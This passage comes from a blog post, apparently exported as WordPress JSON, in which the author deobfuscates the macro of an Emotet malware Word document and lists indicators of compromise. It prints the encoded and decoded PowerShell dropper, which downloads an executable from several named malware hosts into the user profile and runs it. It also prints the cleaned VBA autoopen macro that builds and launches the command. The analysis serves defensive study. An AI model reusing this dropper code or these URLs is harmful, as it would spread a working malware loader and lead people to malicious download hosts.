AFIAMABhAHEAJwArACcAMQBsADAAJwArACcATwAnACkAOwAkAGQARwBCAFQAbAA0AHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEkARQBwAEgAagBqACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQA4AFUAMQB6AHcAIABpAG4AIAAkAFAAZgB3AEgAYwBYAFoAUwApAHsAdAByAHkAewAkAEoARwBUADkAaQBZAE8AYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABNADgAVQAxAHoAdwAsACAAJABkAEcAQgBUAGwANABxACkAOwAkAE8ARAB6AEQASwA5ADMAPQAoACcAZgAnACsAJwBqAEgAegBEAGwAcAAnACsAJwA1ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGQARwBCAFQAbAA0AHEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEcAQgBUAGwANABxADsAJABjADcAagBpAFEAMwA9ACgAJwB3AGkAJwArACcAZAAyAFoAVwBZACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEASwB3AGQAcAA9ACgAJwBYAE4ASwAnACsAJwBYAEUASwAnACkAOwA=\r\n<\/pre>\n
Once I decoded that, I got the following:<\/p>\n
\r\n$HL33RCR0=('Kv'+'dL'+'upr');\r\n$JGT9iYOb=new-object Net.WebClient;\r\n$PfwHcXZS=('h'+'tt'+'p:\/'+'\/d'+'a'+'da'+'faringos'+'tar'+'.'+'c'+'om\/'+'rtQwT'+'5'+'5z@'+'http'+':\/\/'+'fi'+'le'+'.lauasinh.com'+'\/'+'P'+'XehL'+'P'+'Pl@'+'htt'+'p'+':'+'\/\/a'+'n'+'giras.'+'or'+'g\/x'+'8B'+'jaM'+'4'+'4'+'4I@htt'+'p'+':\/\/adsuide.cl'+'ub\/y'+'7'+'7QTKhV@h'+'ttp'+':\/\/michaelwringl'+'e'+'r.co'+'m\/IRYY'+'qPb5'+'N').Split('@');\r\n$i055alOP=('tpYE2o'+'m1');\r\n$IEpHjj = ('65'+'4');\r\n$mUuWdF=('R0aq'+'1l0'+'O');\r\n$dGBTl4q=$env:userprofile+'\\'+$IEpHjj+('.e'+'xe');\r\nforeach($M8U1zw in $PfwHcXZS){try{$JGT9iYOb.DownloadFile($M8U1zw, $dGBTl4q);\r\n$ODzDK93=('f'+'jHzDlp'+'5');\r\nIf ((Get-Item $dGBTl4q).length -ge 40000) {Invoke-Item $dGBTl4q;\r\n$c7jiQ3=('wi'+'d2ZWY');\r\nbreak;\r\n}}catch{}}$OqKwdp=('XNK'+'XEK');\r\n<\/pre>\n
So now I know the sites that this was calling out to, and where the file was being dropped, but it still doesn’t answer my question about how it gets re-assembled. So went back to what I could figure out from the oledump output mentioned above. Skimming through it, there was a pattern to it (every 4-6 lines was junk code and then a variable being assigned to other random named variables while being concatenated), but I was not 100% sure if my “gut-feeling” was correct. That was until I saw the following line in the script:<\/p>\n
\r\nQX0ipWjQ = "wersh" + "ell -" + "e J" + "ABIAE" + "wAMwA"\r\n<\/pre>\n
I could see the beginnings of the Powershell script in that one line. And since this one line kind of married up to my “gut-feeling,” I started to strip out the junk code. Once that was done, and some further cleaning up of the script was performed, I was left with this:<\/p>\n
\r\nAttribute VB_Name = sKfw6m\r\n\tFunction DsiufjK(rPP1jAE, wToiPvr)\r\n\tShell (rPP1jAE + iJf1R0 + jG4Ranf + rppKckZK + oM1fQI + nRaN1qpw), l6dXY99 + qnul14Cw + wToiPvr + tzKhPcU + tm0T1td + zEB7op\r\nEnd Function\r\n\r\nFunction UOiYERH()\r\n\tOn Error Resume Next\r\n\tQX0ipWjQ = wersh  ell -  e J  ABIAE  wAMwA\r\n\tqYGMCi2F = zAFIA  QwBS  ADA  APQAoA  CcAS\r\n\tZzzVfP = wB2  ACcAKw  AnA  GQATAA  nACsAJ  wB1AHA  AcgAnA  CkAOwA  kAEo\r\n\tzVCl3I58 = ARwBU  ADk  AaQBZ  AE8A  YgA9AG  4AZQ  B3AC  0AbwB\r\n\tfcsnuE = iAGo  AZQBjA  HQAIAB  OAGUA  dAAu  AFcA  ZQB  iAEM\r\n\tcNsVZwis = AbA  BpAGU  AbgB0A  DsA  JABQAG  YAdwBI  AGMAW\r\n\tSomS25ZG = ABaAF  MAPQ  AoACc  AaAAn  ACs  AJwB0A  HQAJw  ArACcA\r\n\tGNc88i = cAA6A  C8AJwA  rACcAL  wBk  ACcAKw  AnA\r\n\tUOiYERH = QX0ipWjQ  qYGMCi2F  ZzzVfP  zVCl3I58  fcsnuE  cNsVZwis  SomS25ZG  GNc88i\r\n\r\n\tUOiYERH = wershell-e JABIAEwAMwAzAFIAQwBSADAAPQAoACcASwB2ACcAKwAnAGQATAAnACsAJwB1AHAAcgAnACkAOwAkAEoARwBUADkAaQBZAE8AYgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABQAGYAdwBIAGMAWABaAFMAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8AJwArACcALwBkACcAKwAnA\r\n\r\nEnd Function\r\n\r\nFunction B8waSCi()\r\n\tOn Error Resume Next\r\n\tmm44hw = GEA  JwA  rAC  cAZA  BhACcA  KwA\r\n\to8NUEiH = nAG  YAYQBy  AGkAb  gBnAG8  AcwA  nACsAJ\r\n\tjzYz573 = wB0A  GEAcgA  nACs  AJwAuA  CcAKw  AnAG  MAJwAr  ACcAb\r\n\tJ6EaO6 = wBtAC8  AJw  ArA  CcAcgB  0AF  EAdwBU\r\n\twoo96Zz6 = ACcAK  wAnADU  AJw  ArACcA  NQB6  AEAA\r\n\tzpfFBH = JwAr  ACcA  aAB0AH  QAcA  AnACs  AJwA6  AC8ALw  AnACsA\r\n\tbOIDQsaj = JwBm  AGkAJ  wArAC  cAbABl  ACc  AKw\r\n\tJ8cCvsJ = AnAC4  AbABhA  HUAYQ  BzAGk  Abg  BoAC4  AYwB  vAG0\r\n\tB8waSCi = mm44hw + o8NUEiH + jzYz573 + J6EaO6 + woo96Zz6 + zpfFBH + bOIDQsaj + J8cCvsJ\r\n\r\n\tB8waSCi = GEAJwArACcAZABhACcAKwAnAGYAYQByAGkAbgBnAG8AcwAnACsAJwB0AGEAcgAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwArACcAcgB0AFEAdwBUACcAKwAnADUAJwArACcANQB6AEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBmAGkAJwArACcAbABlACcAKwAnAC4AbABhAHUAYQBzAGkAbgBoAC4AYwBvAG0\r\n\r\nEnd Function\r\n\r\nFunction BIBrlzL()\r\n\tOn Error Resume Next\r\n\tLvY3XP = AJw  ArA  CcA  LwAn  ACs  AJw\r\n\tDcvnnls = BQAC  cAK  wAnAF  gAZQBo  AEwA  JwA  rACcA  UAAnAC\r\n\tBkabza = sAJwBQ  AGw  AQA  AnACsA  JwBo  AHQAdA\r\n\twbqHZhV = AnA  CsA  JwBw  ACcA  KwAnA  DoAJwA  rAC  cALwAv  AGEA\r\n\tnDv43V = JwArA  CcAbgA  nACsAJ  wBn  AGkAcg  BhAH\r\n\trWLso0 = MALgAn  ACsA  JwBv  AHIAJ  wArAC  cAZw  AvAH\r\n\tjiC3ZwNt = gAJwAr  ACcAOA  BCAC  cAK  wAnAG  oAYQB  NAC  cAKwA\r\n\tNpY8wL9 = nADQ  AJw  ArA  CcAN  AAnA  CsAJwA\r\n\tShl9iw = 0AEkA  QABoAH  QAdAA  nACs  AJw  BwACc + AKwAnA\r\n\tzhGozS = DoA + LwA + vAGEA + ZABzAH + UAaQB + kAGU\r\n\tBIBrlzL = LvY3XP + Dcvnnls + Bkabza + wbqHZhV + nDv43V + rWLso0 + jiC3ZwNt + NpY8wL9 + Shl9iw + zhGozS\r\n\r\n\tBIBrlzL = AJwArACcALwAnACsAJwBQACcAKwAnAFgAZQBoAEwAJwArACcAUAAnACsAJwBQAGwAQAAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvAGEAJwArACcAbgAnACsAJwBnAGkAcgBhAHMALgAnACsAJwBvAHIAJwArACcAZwAvAHgAJwArACcAOABCACcAKwAnAGoAYQBNACcAKwAnADQAJwArACcANAAnACsAJwA0AEkAQABoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAZABzAHUAaQBkAGU\r\n\r\nEnd Function\r\n\r\nFunction wBuzmLiw()\r\n\tOn Error Resume Next\r\n\tqc2z0SEi = ALgBjA  GwAJwA  rACcAd  QBiA  C8AeQ  AnACs  AJwA3A  CcA\r\n\tOujhvq7b = KwAnA  DcAUQB  UAEsA  aABW  AEAAa\r\n\tQV7zAXF = AAnAC  sAJwB0  AHQ  AcAAn  ACsAJw  A6AC8\r\n\tBzjlMR1F = ALwBt  AGkAY  wBoA  GEAZQ  BsAHc  Acg\r\n\tOQKf7zP = BpAG4  AZwBs  ACcAK  wAnAGU  AJwArA  CcAcgA  uAG  MAbwAn\r\n\tds84PI = ACs  AJw  BtAC8A  SQBSA  FkAWQ\r\n\tbZjAXG = AnAC  sAJwBx  AFAAY  gA1AC  cAKwAn  AE4AJw  ApA  C4AUwB\r\n\tlsk59K2 = wAGwA  aQB  0ACgAJ  wBA  ACcA  KQA7AC  QAa  QAw\r\n\tMzvEWt = ADUANQ  BhAG  wATw  BQAD  0AK\r\n\tCSfGq3 = AAn  AHQAcA  BZA  EUAM  gBvACc  AKw\r\n\tsXIO3j = AnAG  0AMQ  AnAC  kAOwA  kAE\r\n\twBuzmLiw = qc2z0SEi + Oujhvq7b + QV7zAXF + BzjlMR1F + OQKf7zP + ds84PI + bZjAXG + lsk59K2 + MzvEWt + CSfGq3 + sXIO3j\r\n\r\n\twBuzmLiw = ALgBjAGwAJwArACcAdQBiAC8AeQAnACsAJwA3ACcAKwAnADcAUQBUAEsAaABWAEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBtAGkAYwBoAGEAZQBsAHcAcgBpAG4AZwBsACcAKwAnAGUAJwArACcAcgAuAGMAbwAnACsAJwBtAC8ASQBSAFkAWQAnACsAJwBxAFAAYgA1ACcAKwAnAE4AJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAaQAwADUANQBhAGwATwBQAD0AKAAnAHQAcABZAEUAMgBvACcAKwAnAG0AMQAnACkAOwAkAE\r\n\r\nEnd Function\r\n\r\nFunction Mnv94H()\r\n\tOn Error Resume Next\r\n\tn8DNvz = kARQB  wAEgAa  gBqA  CAAPQA  gACgAJ  wA2ADU  AJwAr  ACcAN  AAnAC\r\n\tuAwdTGD5 = kAOw  AkA  G0AVQ  B1AFc  AZABG\r\n\tLOw02E5 = AD0A  KAAnAF  IAM  ABhAHE  AJwA  rACcAM  QBsAD  AAJw  ArACc\r\n\tUaU4Jz1 = ATwA  nACkAO  wAkA  GQA  RwB  CAFQAb\r\n\tmLUvTz7 = AA0AHE  APQAk  AGU  AbgB  2ADoAd\r\n\tnJIQQcw = QBzAG  UAcgB  wAHI  Abw  BmA  GkA\r\n\tmnhC8GqR = bABlAC  sAJwB  cACcAK  wAkAEk  ARQBwA  EgAa  gBqAC  sAKAAn\r\n\tWCrXbI = AC4A  ZQA  nACs  AJwB4  AGU  AJwAp  ADsAZ  gBvA  HIAZ\r\n\tMnv94H = n8DNvz + uAwdTGD5 + LOw02E5 + UaU4Jz1 + mLUvTz7 + nJIQQcw + mnhC8GqR + WCrXbI\r\n\r\n\tMnv94H = kARQBwAEgAagBqACAAPQAgACgAJwA2ADUAJwArACcANAAnACkAOwAkAG0AVQB1AFcAZABGAD0AKAAnAFIAMABhAHEAJwArACcAMQBsADAAJwArACcATwAnACkAOwAkAGQARwBCAFQAbAA0AHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEkARQBwAEgAagBqACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZ\r\n\r\nEnd Function\r\n\r\nFunction Qd66bAu()\r\n\tOn Error Resume Next\r\n\tl7cRfN7 = QBh  AGM  AaAAo  ACQATQ  A4AF  UAMQB6\r\n\ttuOdbcb = AHcAI  ABpAG  4AIAAk  AFA  AZgB3  AEgAYw  BYAFoA  UwApA  HsAdAB\r\n\tpouJSzs = yAHkA  ewAk  AEoARw  BUADkA  aQBZ  AE8AY\r\n\tRwmuL9zj = gAuA  EQAbw  B3AG4  AbA  BvAGEA  ZABGA  GkAbA\r\n\td1E4tZ = BlACgA  JAB  NADgAV  QAxA  HoAd  wAsA  CAAJ\r\n\tzPOMJu0d = ABk  AEcAQ  gBU  AGwA  NABxA  CkA  OwAk  AE8  ARA\r\n\tSfBGzL = B6AEQA  SwA5AD  MAPQA  oACcA  ZgAn  ACs  AJwBqA\r\n\tJnMhEm06 = EgAegB  EAGwA  cAAnAC  sAJwA  1ACcA\r\n\tWuLoWdq = KQA7A  EkAZgA  gACgA  KABHA  GUA  dAA  tAEkA  dABlA  G0AI\r\n\td6H2AFR = AAkA  GQARw  BCAF  QAb  AA0AHE  AKQAuA  GwA\r\n\tQd66bAu = l7cRfN7 + tuOdbcb + pouJSzs + RwmuL9zj + d1E4tZ + zPOMJu0d + SfBGzL + JnMhEm06 + WuLoWdq + d6H2AFR\r\n\r\n\tQd66bAu = QBhAGMAaAAoACQATQA4AFUAMQB6AHcAIABpAG4AIAAkAFAAZgB3AEgAYwBYAFoAUwApAHsAdAByAHkAewAkAEoARwBUADkAaQBZAE8AYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABNADgAVQAxAHoAdwAsACAAJABkAEcAQgBUAGwANABxACkAOwAkAE8ARAB6AEQASwA5ADMAPQAoACcAZgAnACsAJwBqAEgAegBEAGwAcAAnACsAJwA1ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGQARwBCAFQAbAA0AHEAKQAuAGwA\r\n\r\nEnd Function\r\n\r\nFunction misB743q()\r\n\tOn Error Resume Next\r\n\tADNMmcl = ZQBuA  GcA  dABo  ACAA  LQBn  AGUA  IAA0AD  AAMA  AwA\r\n\tdUWofu = DAA  KQA  gAHsAS  QBuA  HYA\r\n\tsEdLvJE = bwBrAG  UALQB  JAHQA  ZQBtAC  AAJA  BkAEc\r\n\td5wpXhz = AQgBU  AGwAN  ABxA  DsAJAB  jADcA  agBp  AFEAMw  A9ACg\r\n\tW1qwKF = AJwB  3AG  kAJw  ArACc  AZA  AyAFo  AVw  BZAC  cAKQ\r\n\tmisB743q = ADNMmcl + dUWofu + sEdLvJE + d5wpXhz + W1qwKF\r\n\r\n\tmisB743q = ZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEcAQgBUAGwANABxADsAJABjADcAagBpAFEAMwA9ACgAJwB3AGkAJwArACcAZAAyAFoAVwBZACcAKQ\r\n\r\nEnd Function\r\n\r\nFunction SvYi5Y()\r\n\tOn Error Resume Next\r\n\tB6II8P = A7AG  IAc  gBl  AGE  AawA  7AH0  AfQ\r\n\tFckbN7Qj = BjA  GEAdA  BjA  GgAe  wB9AH  0AJ  ABPAHE  ASwB\r\n\tpDT9WTn = 3AGQ  AcAA  9ACgA  JwBYAE  4ASwA  nACsA  JwBYA\r\n\tEIEU9Tz = EUA  SwAnA  CkAO  wA=\r\n\tSvYi5Y = B6II8P + FckbN7Qj + pDT9WTn + EIEU9Tz\r\n\r\n\tSvYi5Y = A7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEASwB3AGQAcAA9ACgAJwBYAE4ASwAnACsAJwBYAEUASwAnACkAOwA=\r\n\r\nEnd Function\r\n\r\n\r\nSub autoopen()\r\n\tOn Error Resume Next\r\n\tpjs7kH = Chr(80)\r\n\tGGS8A1j = Chr(79)\r\n\tDsiufjK pjs7kH + GGS8A1j + UOiYERH + B8waSCi + BIBrlzL + wBuzmLiw + Mnv94H + Qd66bAu + misB743q + SvYi5Y, 0\r\nEnd Sub<\/pre>\n
From here, it is pretty simple to understand and to see. Basically all the strings\/variables get concatenated together to form the encoded base64 string. What I found interesting though was in the autoopen function and the fact that it was using “KeyCodeConstants” (ie: KeyCodeConstants.vbKeyP) to help build the script. This is something that I have not seen before in a script. For more information about this, see this page: http:\/\/docs.microsoft.com\/en-us\/office\/vba\/language\/reference\/user-interface-help\/keycode-constants. In those two lines, it looks like it is taking the “CHR” value (P and O respectively), converting that over to ASCII, which then gets represented as a letter. The last line is the one that puts everything together and spells out “POwershell – e” via the shell function.<\/p>\n","protected":false},"excerpt":{"rendered":"
This blog entry is going to cover how I managed to de-obfuscate the macro from the Emotet sample that I was able to grab. The maldoc can be found in my Github repo located here: http:\/\/github.com\/bloomer1016\/2019-02-12-Deobfuscating-Emotet-Maldoc. Indicators of Compromise: ========================== MD5 of Word doc: 35c716c82f9912cb1a57bf7ee72e0c53 VT: http:\/\/www.virustotal.com\/#\/file\/9fb5e5242394557e27ca3ccfc492f7db0f7474662148a8797953df702b4d78db\/detection Any.Run: http:\/\/app.any.run\/tasks\/0e428667-3602-489f-85ac-1f022e2c9c1f Analysis: ========= So to be honest, I was using this maldoc as a case to try to get better using oledump from Didier Stevens. This all stems from his latest posts on the SANS ISC blog (http:\/\/isc.sans.edu\/forums\/diary\/Maldoc+Analysis+of+the+Weekend\/24626\/ and http:\/\/isc.sans.edu\/forums\/diary\/Video+Maldoc+Analysis+of+the+Weekend\/24628\/). Unfortunately I was not able to get this maldoc de-obfuscated as easily…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[33,12],"class_list":["post-1267","post","type-post","status-publish","format-standard","hentry","category-code","tag-deobfuscating-code","tag-emotet"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1267"}],"version-history":[{"count":1,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1267\/revisions"}],"predecessor-version":[{"id":1269,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1267\/revisions\/1269"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}